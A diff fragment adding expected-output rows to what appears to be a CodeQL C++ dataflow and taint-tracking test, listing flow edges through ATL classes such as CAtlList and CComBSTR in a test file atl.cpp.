+| atl.cpp:300:26:300:28 | call to CAtlList | atl.cpp:306:26:306:29 | list |  |
+| atl.cpp:300:26:300:28 | call to CAtlList | atl.cpp:348:5:348:5 | list |  |
+| atl.cpp:301:12:301:15 | ref arg list | atl.cpp:302:7:302:10 | list |  |
+| atl.cpp:301:12:301:15 | ref arg list | atl.cpp:303:12:303:15 | list |  |
+| atl.cpp:301:12:301:15 | ref arg list | atl.cpp:306:26:306:29 | list |  |
+| atl.cpp:301:12:301:15 | ref arg list | atl.cpp:348:5:348:5 | list |  |
+| atl.cpp:302:7:302:10 | ref arg list | atl.cpp:303:12:303:15 | list |  |
+| atl.cpp:302:7:302:10 | ref arg list | atl.cpp:306:26:306:29 | list |  |
+| atl.cpp:302:7:302:10 | ref arg list | atl.cpp:348:5:348:5 | list |  |
+| atl.cpp:303:12:303:15 | ref arg list | atl.cpp:306:26:306:29 | list |  |
+| atl.cpp:303:12:303:15 | ref arg list | atl.cpp:348:5:348:5 | list |  |
+| atl.cpp:305:27:305:28 | 10 | atl.cpp:305:27:305:29 | call to CAtlList | TAINT |
+| atl.cpp:305:27:305:29 | call to CAtlList | atl.cpp:306:7:306:11 | list2 |  |
+| atl.cpp:305:27:305:29 | call to CAtlList | atl.cpp:307:12:307:16 | list2 |  |
+| atl.cpp:305:27:305:29 | call to CAtlList | atl.cpp:348:5:348:5 | list2 |  |
+| atl.cpp:306:7:306:11 | ref arg list2 | atl.cpp:307:12:307:16 | list2 |  |
+| atl.cpp:306:7:306:11 | ref arg list2 | atl.cpp:348:5:348:5 | list2 |  |
+| atl.cpp:306:26:306:29 | list | atl.cpp:306:25:306:29 | & ... |  |
+| atl.cpp:307:12:307:16 | ref arg list2 | atl.cpp:348:5:348:5 | list2 |  |
+| atl.cpp:309:27:309:28 | 10 | atl.cpp:309:27:309:29 | call to CAtlList | TAINT |
+| atl.cpp:309:27:309:29 | call to CAtlList | atl.cpp:310:7:310:11 | list3 |  |
+| atl.cpp:309:27:309:29 | call to CAtlList | atl.cpp:311:12:311:16 | list3 |  |
+| atl.cpp:309:27:309:29 | call to CAtlList | atl.cpp:314:26:314:30 | list3 |  |
+| atl.cpp:309:27:309:29 | call to CAtlList | atl.cpp:348:5:348:5 | list3 |  |
+| atl.cpp:310:7:310:11 | ref arg list3 | atl.cpp:311:12:311:16 | list3 |  |
+| atl.cpp:310:7:310:11 | ref arg list3 | atl.cpp:314:26:314:30 | list3 |  |
+| atl.cpp:310:7:310:11 | ref arg list3 | atl.cpp:348:5:348:5 | list3 |  |
+| atl.cpp:311:12:311:16 | ref arg list3 | atl.cpp:314:26:314:30 | list3 |  |
+| atl.cpp:311:12:311:16 | ref arg list3 | atl.cpp:348:5:348:5 | list3 |  |
+| atl.cpp:313:27:313:28 | 10 | atl.cpp:313:27:313:29 | call to CAtlList | TAINT |
+| atl.cpp:313:27:313:29 | call to CAtlList | atl.cpp:314:7:314:11 | list4 |  |
+| atl.cpp:313:27:313:29 | call to CAtlList | atl.cpp:315:12:315:16 | list4 |  |
+| atl.cpp:313:27:313:29 | call to CAtlList | atl.cpp:348:5:348:5 | list4 |  |
+| atl.cpp:314:7:314:11 | ref arg list4 | atl.cpp:315:12:315:16 | list4 |  |
+| atl.cpp:314:7:314:11 | ref arg list4 | atl.cpp:348:5:348:5 | list4 |  |
+| atl.cpp:314:26:314:30 | list3 | atl.cpp:314:25:314:30 | & ... |  |
+| atl.cpp:315:12:315:16 | ref arg list4 | atl.cpp:348:5:348:5 | list4 |  |
+| atl.cpp:318:29:318:30 | 10 | atl.cpp:318:29:318:31 | call to CAtlList | TAINT |
+| atl.cpp:318:29:318:31 | call to CAtlList | atl.cpp:319:20:319:24 | list5 |  |
+| atl.cpp:318:29:318:31 | call to CAtlList | atl.cpp:319:34:319:38 | list5 |  |
+| atl.cpp:318:29:318:31 | call to CAtlList | atl.cpp:320:14:320:18 | list5 |  |
+| atl.cpp:318:29:318:31 | call to CAtlList | atl.cpp:321:7:321:7 | list5 |  |
+| atl.cpp:319:20:319:24 | ref arg list5 | atl.cpp:320:14:320:18 | list5 |  |
+| atl.cpp:319:20:319:24 | ref arg list5 | atl.cpp:321:7:321:7 | list5 |  |
+| atl.cpp:319:26:319:29 | call to Find | atl.cpp:320:26:320:28 | pos |  |
+| atl.cpp:319:34:319:38 | ref arg list5 | atl.cpp:319:20:319:24 | list5 |  |
+| atl.cpp:319:34:319:38 | ref arg list5 | atl.cpp:320:14:320:18 | list5 |  |
+| atl.cpp:319:34:319:38 | ref arg list5 | atl.cpp:321:7:321:7 | list5 |  |
+| atl.cpp:320:14:320:18 | ref arg list5 | atl.cpp:321:7:321:7 | list5 |  |
+| atl.cpp:324:29:324:30 | 10 | atl.cpp:324:29:324:31 | call to CAtlList | TAINT |
+| atl.cpp:324:29:324:31 | call to CAtlList | atl.cpp:325:9:325:13 | list6 |  |
+| atl.cpp:324:29:324:31 | call to CAtlList | atl.cpp:326:20:326:24 | list6 |  |
+| atl.cpp:324:29:324:31 | call to CAtlList | atl.cpp:327:14:327:18 | list6 |  |
+| atl.cpp:324:29:324:31 | call to CAtlList | atl.cpp:328:7:328:7 | list6 |  |
+| atl.cpp:325:9:325:13 | ref arg list6 | atl.cpp:326:20:326:24 | list6 |  |
+| atl.cpp:325:9:325:13 | ref arg list6 | atl.cpp:327:14:327:18 | list6 |  |
+| atl.cpp:325:9:325:13 | ref arg list6 | atl.cpp:328:7:328:7 | list6 |  |
+| atl.cpp:326:20:326:24 | ref arg list6 | atl.cpp:327:14:327:18 | list6 |  |
+| atl.cpp:326:20:326:24 | ref arg list6 | atl.cpp:328:7:328:7 | list6 |  |
+| atl.cpp:326:26:326:34 | call to FindIndex | atl.cpp:327:26:327:28 | pos |  |
+| atl.cpp:327:14:327:18 | ref arg list6 | atl.cpp:328:7:328:7 | list6 |  |
+| atl.cpp:331:29:331:30 | 10 | atl.cpp:331:29:331:31 | call to CAtlList | TAINT |
+| atl.cpp:331:29:331:31 | call to CAtlList | atl.cpp:332:20:332:24 | list7 |  |
+| atl.cpp:331:29:331:31 | call to CAtlList | atl.cpp:333:9:333:13 | list7 |  |
+| atl.cpp:331:29:331:31 | call to CAtlList | atl.cpp:334:14:334:18 | list7 |  |
+| atl.cpp:331:29:331:31 | call to CAtlList | atl.cpp:335:7:335:7 | list7 |  |
+| atl.cpp:332:20:332:24 | ref arg list7 | atl.cpp:333:9:333:13 | list7 |  |
+| atl.cpp:332:20:332:24 | ref arg list7 | atl.cpp:334:14:334:18 | list7 |  |
+| atl.cpp:332:20:332:24 | ref arg list7 | atl.cpp:335:7:335:7 | list7 |  |
+| atl.cpp:332:26:332:40 | call to GetTailPosition | atl.cpp:333:27:333:29 | pos |  |
+| atl.cpp:333:9:333:13 | ref arg list7 | atl.cpp:334:14:334:18 | list7 |  |
+| atl.cpp:333:9:333:13 | ref arg list7 | atl.cpp:335:7:335:7 | list7 |  |
+| atl.cpp:334:14:334:18 | ref arg list7 | atl.cpp:335:7:335:7 | list7 |  |
+| atl.cpp:338:29:338:30 | 10 | atl.cpp:338:29:338:31 | call to CAtlList | TAINT |
+| atl.cpp:338:29:338:31 | call to CAtlList | atl.cpp:339:20:339:24 | list8 |  |
+| atl.cpp:338:29:338:31 | call to CAtlList | atl.cpp:340:9:340:13 | list8 |  |
+| atl.cpp:338:29:338:31 | call to CAtlList | atl.cpp:341:14:341:18 | list8 |  |
+| atl.cpp:338:29:338:31 | call to CAtlList | atl.cpp:342:7:342:7 | list8 |  |
+| atl.cpp:339:20:339:24 | ref arg list8 | atl.cpp:340:9:340:13 | list8 |  |
+| atl.cpp:339:20:339:24 | ref arg list8 | atl.cpp:341:14:341:18 | list8 |  |
+| atl.cpp:339:20:339:24 | ref arg list8 | atl.cpp:342:7:342:7 | list8 |  |
+| atl.cpp:339:26:339:40 | call to GetTailPosition | atl.cpp:340:28:340:30 | pos |  |
+| atl.cpp:340:9:340:13 | ref arg list8 | atl.cpp:341:14:341:18 | list8 |  |
+| atl.cpp:340:9:340:13 | ref arg list8 | atl.cpp:342:7:342:7 | list8 |  |
+| atl.cpp:341:14:341:18 | ref arg list8 | atl.cpp:342:7:342:7 | list8 |  |
+| atl.cpp:344:29:344:30 | 10 | atl.cpp:344:29:344:31 | call to CAtlList | TAINT |
+| atl.cpp:344:29:344:31 | call to CAtlList | atl.cpp:345:9:345:13 | list9 |  |
+| atl.cpp:344:29:344:31 | call to CAtlList | atl.cpp:345:21:345:25 | list9 |  |
+| atl.cpp:344:29:344:31 | call to CAtlList | atl.cpp:346:14:346:18 | list9 |  |
+| atl.cpp:344:29:344:31 | call to CAtlList | atl.cpp:347:7:347:7 | list9 |  |
+| atl.cpp:345:9:345:13 | ref arg list9 | atl.cpp:346:14:346:18 | list9 |  |
+| atl.cpp:345:9:345:13 | ref arg list9 | atl.cpp:347:7:347:7 | list9 |  |
+| atl.cpp:345:21:345:25 | ref arg list9 | atl.cpp:345:9:345:13 | list9 |  |
+| atl.cpp:345:21:345:25 | ref arg list9 | atl.cpp:346:14:346:18 | list9 |  |
+| atl.cpp:345:21:345:25 | ref arg list9 | atl.cpp:347:7:347:7 | list9 |  |
+| atl.cpp:346:14:346:18 | ref arg list9 | atl.cpp:347:7:347:7 | list9 |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:354:20:354:20 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:362:21:362:21 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:371:31:371:31 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:377:23:377:23 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:385:32:385:32 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:392:33:392:33 | p |  |
+| atl.cpp:350:14:350:33 | call to indirect_source | atl.cpp:397:46:397:46 | p |  |
+| atl.cpp:352:27:352:28 | 10 | atl.cpp:352:27:352:29 | call to CAtlList | TAINT |
+| atl.cpp:352:27:352:29 | call to CAtlList | atl.cpp:353:12:353:15 | list |  |
+| atl.cpp:352:27:352:29 | call to CAtlList | atl.cpp:354:7:354:10 | list |  |
+| atl.cpp:352:27:352:29 | call to CAtlList | atl.cpp:355:12:355:15 | list |  |
+| atl.cpp:352:27:352:29 | call to CAtlList | atl.cpp:358:26:358:29 | list |  |
+| atl.cpp:352:27:352:29 | call to CAtlList | atl.cpp:400:5:400:5 | list |  |
+| atl.cpp:353:12:353:15 | ref arg list | atl.cpp:354:7:354:10 | list |  |
+| atl.cpp:353:12:353:15 | ref arg list | atl.cpp:355:12:355:15 | list |  |
+| atl.cpp:353:12:353:15 | ref arg list | atl.cpp:358:26:358:29 | list |  |
+| atl.cpp:353:12:353:15 | ref arg list | atl.cpp:400:5:400:5 | list |  |
+| atl.cpp:354:7:354:10 | ref arg list | atl.cpp:355:12:355:15 | list |  |
+| atl.cpp:354:7:354:10 | ref arg list | atl.cpp:358:26:358:29 | list |  |
+| atl.cpp:354:7:354:10 | ref arg list | atl.cpp:400:5:400:5 | list |  |
+| atl.cpp:355:12:355:15 | ref arg list | atl.cpp:358:26:358:29 | list |  |
+| atl.cpp:355:12:355:15 | ref arg list | atl.cpp:400:5:400:5 | list |  |
+| atl.cpp:357:28:357:29 | 10 | atl.cpp:357:28:357:30 | call to CAtlList | TAINT |
+| atl.cpp:357:28:357:30 | call to CAtlList | atl.cpp:358:7:358:11 | list2 |  |
+| atl.cpp:357:28:357:30 | call to CAtlList | atl.cpp:359:12:359:16 | list2 |  |
+| atl.cpp:357:28:357:30 | call to CAtlList | atl.cpp:400:5:400:5 | list2 |  |
+| atl.cpp:358:7:358:11 | ref arg list2 | atl.cpp:359:12:359:16 | list2 |  |
+| atl.cpp:358:7:358:11 | ref arg list2 | atl.cpp:400:5:400:5 | list2 |  |
+| atl.cpp:358:26:358:29 | list | atl.cpp:358:25:358:29 | & ... |  |
+| atl.cpp:359:12:359:16 | ref arg list2 | atl.cpp:400:5:400:5 | list2 |  |
+| atl.cpp:361:28:361:29 | 10 | atl.cpp:361:28:361:30 | call to CAtlList | TAINT |
+| atl.cpp:361:28:361:30 | call to CAtlList | atl.cpp:362:7:362:11 | list3 |  |
+| atl.cpp:361:28:361:30 | call to CAtlList | atl.cpp:363:12:363:16 | list3 |  |
+| atl.cpp:361:28:361:30 | call to CAtlList | atl.cpp:366:26:366:30 | list3 |  |
+| atl.cpp:361:28:361:30 | call to CAtlList | atl.cpp:400:5:400:5 | list3 |  |
+| atl.cpp:362:7:362:11 | ref arg list3 | atl.cpp:363:12:363:16 | list3 |  |
+| atl.cpp:362:7:362:11 | ref arg list3 | atl.cpp:366:26:366:30 | list3 |  |
+| atl.cpp:362:7:362:11 | ref arg list3 | atl.cpp:400:5:400:5 | list3 |  |
+| atl.cpp:363:12:363:16 | ref arg list3 | atl.cpp:366:26:366:30 | list3 |  |
+| atl.cpp:363:12:363:16 | ref arg list3 | atl.cpp:400:5:400:5 | list3 |  |
+| atl.cpp:365:28:365:29 | 10 | atl.cpp:365:28:365:30 | call to CAtlList | TAINT |
+| atl.cpp:365:28:365:30 | call to CAtlList | atl.cpp:366:7:366:11 | list4 |  |
+| atl.cpp:365:28:365:30 | call to CAtlList | atl.cpp:367:12:367:16 | list4 |  |
+| atl.cpp:365:28:365:30 | call to CAtlList | atl.cpp:400:5:400:5 | list4 |  |
+| atl.cpp:366:7:366:11 | ref arg list4 | atl.cpp:367:12:367:16 | list4 |  |
+| atl.cpp:366:7:366:11 | ref arg list4 | atl.cpp:400:5:400:5 | list4 |  |
+| atl.cpp:366:26:366:30 | list3 | atl.cpp:366:25:366:30 | & ... |  |
+| atl.cpp:367:12:367:16 | ref arg list4 | atl.cpp:400:5:400:5 | list4 |  |
+| atl.cpp:370:30:370:31 | 10 | atl.cpp:370:30:370:32 | call to CAtlList | TAINT |
+| atl.cpp:370:30:370:32 | call to CAtlList | atl.cpp:371:20:371:24 | list5 |  |
+| atl.cpp:370:30:370:32 | call to CAtlList | atl.cpp:371:34:371:38 | list5 |  |
+| atl.cpp:370:30:370:32 | call to CAtlList | atl.cpp:372:14:372:18 | list5 |  |
+| atl.cpp:370:30:370:32 | call to CAtlList | atl.cpp:373:7:373:7 | list5 |  |
+| atl.cpp:371:20:371:24 | ref arg list5 | atl.cpp:372:14:372:18 | list5 |  |
+| atl.cpp:371:20:371:24 | ref arg list5 | atl.cpp:373:7:373:7 | list5 |  |
+| atl.cpp:371:26:371:29 | call to Find | atl.cpp:372:26:372:28 | pos |  |
+| atl.cpp:371:34:371:38 | ref arg list5 | atl.cpp:371:20:371:24 | list5 |  |
+| atl.cpp:371:34:371:38 | ref arg list5 | atl.cpp:372:14:372:18 | list5 |  |
+| atl.cpp:371:34:371:38 | ref arg list5 | atl.cpp:373:7:373:7 | list5 |  |
+| atl.cpp:372:14:372:18 | ref arg list5 | atl.cpp:373:7:373:7 | list5 |  |
+| atl.cpp:376:30:376:31 | 10 | atl.cpp:376:30:376:32 | call to CAtlList | TAINT |
+| atl.cpp:376:30:376:32 | call to CAtlList | atl.cpp:377:9:377:13 | list6 |  |
+| atl.cpp:376:30:376:32 | call to CAtlList | atl.cpp:378:20:378:24 | list6 |  |
+| atl.cpp:376:30:376:32 | call to CAtlList | atl.cpp:379:14:379:18 | list6 |  |
+| atl.cpp:376:30:376:32 | call to CAtlList | atl.cpp:380:7:380:7 | list6 |  |
+| atl.cpp:377:9:377:13 | ref arg list6 | atl.cpp:378:20:378:24 | list6 |  |
+| atl.cpp:377:9:377:13 | ref arg list6 | atl.cpp:379:14:379:18 | list6 |  |
+| atl.cpp:377:9:377:13 | ref arg list6 | atl.cpp:380:7:380:7 | list6 |  |
+| atl.cpp:378:20:378:24 | ref arg list6 | atl.cpp:379:14:379:18 | list6 |  |
+| atl.cpp:378:20:378:24 | ref arg list6 | atl.cpp:380:7:380:7 | list6 |  |
+| atl.cpp:378:26:378:34 | call to FindIndex | atl.cpp:379:26:379:28 | pos |  |
+| atl.cpp:379:14:379:18 | ref arg list6 | atl.cpp:380:7:380:7 | list6 |  |
+| atl.cpp:383:30:383:31 | 10 | atl.cpp:383:30:383:32 | call to CAtlList | TAINT |
+| atl.cpp:383:30:383:32 | call to CAtlList | atl.cpp:384:20:384:24 | list7 |  |
+| atl.cpp:383:30:383:32 | call to CAtlList | atl.cpp:385:9:385:13 | list7 |  |
+| atl.cpp:383:30:383:32 | call to CAtlList | atl.cpp:386:14:386:18 | list7 |  |
+| atl.cpp:383:30:383:32 | call to CAtlList | atl.cpp:387:7:387:7 | list7 |  |
+| atl.cpp:384:20:384:24 | ref arg list7 | atl.cpp:385:9:385:13 | list7 |  |
+| atl.cpp:384:20:384:24 | ref arg list7 | atl.cpp:386:14:386:18 | list7 |  |
+| atl.cpp:384:20:384:24 | ref arg list7 | atl.cpp:387:7:387:7 | list7 |  |
+| atl.cpp:384:26:384:40 | call to GetTailPosition | atl.cpp:385:27:385:29 | pos |  |
+| atl.cpp:385:9:385:13 | ref arg list7 | atl.cpp:386:14:386:18 | list7 |  |
+| atl.cpp:385:9:385:13 | ref arg list7 | atl.cpp:387:7:387:7 | list7 |  |
+| atl.cpp:386:14:386:18 | ref arg list7 | atl.cpp:387:7:387:7 | list7 |  |
+| atl.cpp:390:30:390:31 | 10 | atl.cpp:390:30:390:32 | call to CAtlList | TAINT |
+| atl.cpp:390:30:390:32 | call to CAtlList | atl.cpp:391:20:391:24 | list8 |  |
+| atl.cpp:390:30:390:32 | call to CAtlList | atl.cpp:392:9:392:13 | list8 |  |
+| atl.cpp:390:30:390:32 | call to CAtlList | atl.cpp:393:14:393:18 | list8 |  |
+| atl.cpp:390:30:390:32 | call to CAtlList | atl.cpp:394:7:394:7 | list8 |  |
+| atl.cpp:391:20:391:24 | ref arg list8 | atl.cpp:392:9:392:13 | list8 |  |
+| atl.cpp:391:20:391:24 | ref arg list8 | atl.cpp:393:14:393:18 | list8 |  |
+| atl.cpp:391:20:391:24 | ref arg list8 | atl.cpp:394:7:394:7 | list8 |  |
+| atl.cpp:391:26:391:40 | call to GetTailPosition | atl.cpp:392:28:392:30 | pos |  |
+| atl.cpp:392:9:392:13 | ref arg list8 | atl.cpp:393:14:393:18 | list8 |  |
+| atl.cpp:392:9:392:13 | ref arg list8 | atl.cpp:394:7:394:7 | list8 |  |
+| atl.cpp:393:14:393:18 | ref arg list8 | atl.cpp:394:7:394:7 | list8 |  |
+| atl.cpp:396:30:396:31 | 10 | atl.cpp:396:30:396:32 | call to CAtlList | TAINT |
+| atl.cpp:396:30:396:32 | call to CAtlList | atl.cpp:397:9:397:13 | list9 |  |
+| atl.cpp:396:30:396:32 | call to CAtlList | atl.cpp:397:21:397:25 | list9 |  |
+| atl.cpp:396:30:396:32 | call to CAtlList | atl.cpp:398:14:398:18 | list9 |  |
+| atl.cpp:396:30:396:32 | call to CAtlList | atl.cpp:399:7:399:7 | list9 |  |
+| atl.cpp:397:9:397:13 | ref arg list9 | atl.cpp:398:14:398:18 | list9 |  |
+| atl.cpp:397:9:397:13 | ref arg list9 | atl.cpp:399:7:399:7 | list9 |  |
+| atl.cpp:397:21:397:25 | ref arg list9 | atl.cpp:397:9:397:13 | list9 |  |
+| atl.cpp:397:21:397:25 | ref arg list9 | atl.cpp:398:14:398:18 | list9 |  |
+| atl.cpp:397:21:397:25 | ref arg list9 | atl.cpp:399:7:399:7 | list9 |  |
+| atl.cpp:398:14:398:18 | ref arg list9 | atl.cpp:399:7:399:7 | list9 |  |
+| atl.cpp:456:23:456:35 | new | atl.cpp:457:5:457:8 | safe |  |
+| atl.cpp:456:23:456:35 | new | atl.cpp:458:12:458:15 | safe |  |
+| atl.cpp:457:5:457:8 | safe [post update] | atl.cpp:458:12:458:15 | safe |  |
+| atl.cpp:457:5:457:42 | ... = ... | atl.cpp:457:11:457:16 | pvData [post update] |  |
+| atl.cpp:457:20:457:40 | call to indirect_source | atl.cpp:457:5:457:42 | ... = ... |  |
+| atl.cpp:462:15:462:35 | call to indirect_source | atl.cpp:464:18:464:18 | x |  |
+| atl.cpp:462:15:462:35 | call to indirect_source | atl.cpp:471:22:471:22 | x |  |
+| atl.cpp:462:15:462:35 | call to indirect_source | atl.cpp:475:18:475:18 | x |  |
+| atl.cpp:462:15:462:35 | call to indirect_source | atl.cpp:483:13:483:13 | x |  |
+| atl.cpp:462:15:462:35 | call to indirect_source | atl.cpp:497:22:497:22 | x |  |
+| atl.cpp:464:18:464:18 | x | atl.cpp:464:18:464:19 | call to CComBSTR | TAINT |
+| atl.cpp:464:18:464:19 | call to CComBSTR | atl.cpp:465:12:465:12 | b |  |
+| atl.cpp:464:18:464:19 | call to CComBSTR | atl.cpp:467:19:467:19 | b |  |
+| atl.cpp:464:18:464:19 | call to CComBSTR | atl.cpp:469:5:469:5 | b |  |
+| atl.cpp:465:12:465:12 | b [post update] | atl.cpp:467:19:467:19 | b |  |
+| atl.cpp:465:12:465:12 | b [post update] | atl.cpp:469:5:469:5 | b |  |
+| atl.cpp:465:14:465:18 | ref arg m_str | atl.cpp:468:15:468:19 | m_str |  |
+| atl.cpp:467:19:467:19 | b | atl.cpp:467:19:467:20 | call to CComBSTR |  |
+| atl.cpp:467:19:467:20 | call to CComBSTR | atl.cpp:468:12:468:13 | b2 |  |
+| atl.cpp:467:19:467:20 | call to CComBSTR | atl.cpp:469:5:469:5 | b2 |  |
+| atl.cpp:468:12:468:13 | b2 [post update] | atl.cpp:469:5:469:5 | b2 |  |
+| atl.cpp:471:18:471:23 | call to CComBSTR | atl.cpp:472:12:472:12 | b |  |
+| atl.cpp:471:18:471:23 | call to CComBSTR | atl.cpp:473:5:473:5 | b |  |
+| atl.cpp:472:12:472:12 | b [post update] | atl.cpp:473:5:473:5 | b |  |
+| atl.cpp:475:18:475:18 | x | atl.cpp:475:18:475:19 | call to CComBSTR | TAINT |
+| atl.cpp:475:18:475:19 | call to CComBSTR | atl.cpp:479:13:479:13 | b |  |
+| atl.cpp:475:18:475:19 | call to CComBSTR | atl.cpp:515:5:515:5 | b |  |
+| atl.cpp:477:16:477:17 | call to CComBSTR | atl.cpp:478:12:478:13 | b2 |  |
+| atl.cpp:477:16:477:17 | call to CComBSTR | atl.cpp:479:7:479:8 | b2 |  |
+| atl.cpp:477:16:477:17 | call to CComBSTR | atl.cpp:480:12:480:13 | b2 |  |
+| atl.cpp:477:16:477:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b2 |  |
+| atl.cpp:478:12:478:13 | b2 [post update] | atl.cpp:479:7:479:8 | b2 |  |
+| atl.cpp:478:12:478:13 | b2 [post update] | atl.cpp:480:12:480:13 | b2 |  |
+| atl.cpp:478:12:478:13 | b2 [post update] | atl.cpp:515:5:515:5 | b2 |  |
+| atl.cpp:478:15:478:19 | ref arg m_str | atl.cpp:480:15:480:19 | m_str |  |
+| atl.cpp:479:7:479:8 | ref arg b2 | atl.cpp:480:12:480:13 | b2 |  |
+| atl.cpp:479:7:479:8 | ref arg b2 | atl.cpp:515:5:515:5 | b2 |  |
+| atl.cpp:480:12:480:13 | b2 [post update] | atl.cpp:515:5:515:5 | b2 |  |
+| atl.cpp:482:16:482:17 | call to CComBSTR | atl.cpp:483:7:483:8 | b3 |  |
+| atl.cpp:482:16:482:17 | call to CComBSTR | atl.cpp:484:12:484:13 | b3 |  |
+| atl.cpp:482:16:482:17 | call to CComBSTR | atl.cpp:485:30:485:31 | b3 |  |
+| atl.cpp:482:16:482:17 | call to CComBSTR | atl.cpp:486:15:486:16 | b3 |  |
+| atl.cpp:482:16:482:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b3 |  |
+| atl.cpp:483:7:483:8 | ref arg b3 | atl.cpp:484:12:484:13 | b3 |  |
+| atl.cpp:483:7:483:8 | ref arg b3 | atl.cpp:485:30:485:31 | b3 |  |
+| atl.cpp:483:7:483:8 | ref arg b3 | atl.cpp:486:15:486:16 | b3 |  |
+| atl.cpp:483:7:483:8 | ref arg b3 | atl.cpp:515:5:515:5 | b3 |  |
+| atl.cpp:483:13:483:13 | x | atl.cpp:483:13:483:13 | call to CComBSTR | TAINT |
+| atl.cpp:484:12:484:13 | b3 [post update] | atl.cpp:485:30:485:31 | b3 |  |
+| atl.cpp:484:12:484:13 | b3 [post update] | atl.cpp:486:15:486:16 | b3 |  |
+| atl.cpp:484:12:484:13 | b3 [post update] | atl.cpp:515:5:515:5 | b3 |  |
+| atl.cpp:485:30:485:31 | ref arg b3 | atl.cpp:486:15:486:16 | b3 |  |
+| atl.cpp:485:30:485:31 | ref arg b3 | atl.cpp:515:5:515:5 | b3 |  |
+| atl.cpp:486:13:486:16 | * ... | atl.cpp:486:12:486:16 | * ... | TAINT |
+| atl.cpp:486:14:486:14 | call to operator& | atl.cpp:486:13:486:16 | * ... | TAINT |
+| atl.cpp:486:15:486:16 | ref arg b3 | atl.cpp:515:5:515:5 | b3 |  |
+| atl.cpp:488:16:488:17 | call to CComBSTR | atl.cpp:489:7:489:8 | b4 |  |
+| atl.cpp:488:16:488:17 | call to CComBSTR | atl.cpp:490:12:490:13 | b4 |  |
+| atl.cpp:488:16:488:17 | call to CComBSTR | atl.cpp:493:21:493:22 | b4 |  |
+| atl.cpp:488:16:488:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b4 |  |
+| atl.cpp:489:7:489:8 | ref arg b4 | atl.cpp:490:12:490:13 | b4 |  |
+| atl.cpp:489:7:489:8 | ref arg b4 | atl.cpp:493:21:493:22 | b4 |  |
+| atl.cpp:489:7:489:8 | ref arg b4 | atl.cpp:515:5:515:5 | b4 |  |
+| atl.cpp:490:12:490:13 | b4 [post update] | atl.cpp:493:21:493:22 | b4 |  |
+| atl.cpp:490:12:490:13 | b4 [post update] | atl.cpp:515:5:515:5 | b4 |  |
+| atl.cpp:490:15:490:19 | ref arg m_str | atl.cpp:493:24:493:28 | m_str |  |
+| atl.cpp:492:16:492:17 | call to CComBSTR | atl.cpp:493:7:493:8 | b5 |  |
+| atl.cpp:492:16:492:17 | call to CComBSTR | atl.cpp:494:12:494:13 | b5 |  |
+| atl.cpp:492:16:492:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b5 |  |
+| atl.cpp:493:7:493:8 | ref arg b5 | atl.cpp:494:12:494:13 | b5 |  |
+| atl.cpp:493:7:493:8 | ref arg b5 | atl.cpp:515:5:515:5 | b5 |  |
+| atl.cpp:493:21:493:22 | b4 [post update] | atl.cpp:515:5:515:5 | b4 |  |
+| atl.cpp:494:12:494:13 | b5 [post update] | atl.cpp:515:5:515:5 | b5 |  |
+| atl.cpp:496:16:496:17 | call to CComBSTR | atl.cpp:497:7:497:8 | b6 |  |
+| atl.cpp:496:16:496:17 | call to CComBSTR | atl.cpp:498:12:498:13 | b6 |  |
+| atl.cpp:496:16:496:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b6 |  |
+| atl.cpp:497:7:497:8 | ref arg b6 | atl.cpp:498:12:498:13 | b6 |  |
+| atl.cpp:497:7:497:8 | ref arg b6 | atl.cpp:515:5:515:5 | b6 |  |
+| atl.cpp:498:12:498:13 | b6 [post update] | atl.cpp:515:5:515:5 | b6 |  |
+| atl.cpp:500:16:500:17 | call to CComBSTR | atl.cpp:501:7:501:8 | b7 |  |
+| atl.cpp:500:16:500:17 | call to CComBSTR | atl.cpp:502:12:502:13 | b7 |  |
+| atl.cpp:500:16:500:17 | call to CComBSTR | atl.cpp:505:21:505:22 | b7 |  |
+| atl.cpp:500:16:500:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b7 |  |
+| atl.cpp:501:7:501:8 | ref arg b7 | atl.cpp:502:12:502:13 | b7 |  |
+| atl.cpp:501:7:501:8 | ref arg b7 | atl.cpp:505:21:505:22 | b7 |  |
+| atl.cpp:501:7:501:8 | ref arg b7 | atl.cpp:515:5:515:5 | b7 |  |
+| atl.cpp:502:12:502:13 | b7 [post update] | atl.cpp:505:21:505:22 | b7 |  |
+| atl.cpp:502:12:502:13 | b7 [post update] | atl.cpp:515:5:515:5 | b7 |  |
+| atl.cpp:502:15:502:19 | ref arg m_str | atl.cpp:505:24:505:28 | m_str |  |
+| atl.cpp:504:16:504:17 | call to CComBSTR | atl.cpp:505:7:505:8 | b8 |  |
+| atl.cpp:504:16:504:17 | call to CComBSTR | atl.cpp:506:12:506:13 | b8 |  |
+| atl.cpp:504:16:504:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b8 |  |
+| atl.cpp:505:7:505:8 | ref arg b8 | atl.cpp:506:12:506:13 | b8 |  |
+| atl.cpp:505:7:505:8 | ref arg b8 | atl.cpp:515:5:515:5 | b8 |  |
+| atl.cpp:505:21:505:22 | b7 [post update] | atl.cpp:515:5:515:5 | b7 |  |
+| atl.cpp:506:12:506:13 | b8 [post update] | atl.cpp:515:5:515:5 | b8 |  |
+| atl.cpp:508:16:508:17 | call to CComBSTR | atl.cpp:510:7:510:8 | b9 |  |
+| atl.cpp:508:16:508:17 | call to CComBSTR | atl.cpp:511:7:511:8 | b9 |  |
+| atl.cpp:508:16:508:17 | call to CComBSTR | atl.cpp:514:12:514:13 | b9 |  |
+| atl.cpp:508:16:508:17 | call to CComBSTR | atl.cpp:515:5:515:5 | b9 |  |
+| atl.cpp:509:19:509:22 | safe | atl.cpp:511:23:511:26 | safe |  |
+| atl.cpp:509:19:509:22 | safe | atl.cpp:512:12:512:15 | safe |  |
+| atl.cpp:510:7:510:8 | ref arg b9 | atl.cpp:511:7:511:8 | b9 |  |
+| atl.cpp:510:7:510:8 | ref arg b9 | atl.cpp:514:12:514:13 | b9 |  |
